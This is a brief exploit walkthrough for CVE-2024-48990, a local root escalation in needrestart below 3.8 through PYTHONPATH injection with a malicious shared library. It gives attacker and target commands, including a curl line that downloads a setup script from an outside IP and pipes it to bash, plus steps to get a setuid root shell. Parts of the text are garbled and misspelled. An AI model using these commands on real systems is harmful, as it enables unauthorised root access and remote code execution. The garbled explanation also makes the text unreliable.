
Full exploit for needsrestart setuid root shell
Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.
PYTHONPATH=/tmp/.m from /proc/[pid]/environPYTHONPATH/tmp/.m/importlib/__init__.so (our malicious library)/tmp/rootbash/tmp/rootbash -p for root shellKey Point: needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.
Attacker:
./compile.sh
python3 -m http.server 8000
Target:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
The e.py process should hang and spawn root once the following is ran from a 2nd terminal:
sudo needsrestard
the first terminal will start a root shell
Qualys Threat Research Unit - CVE-2024-48990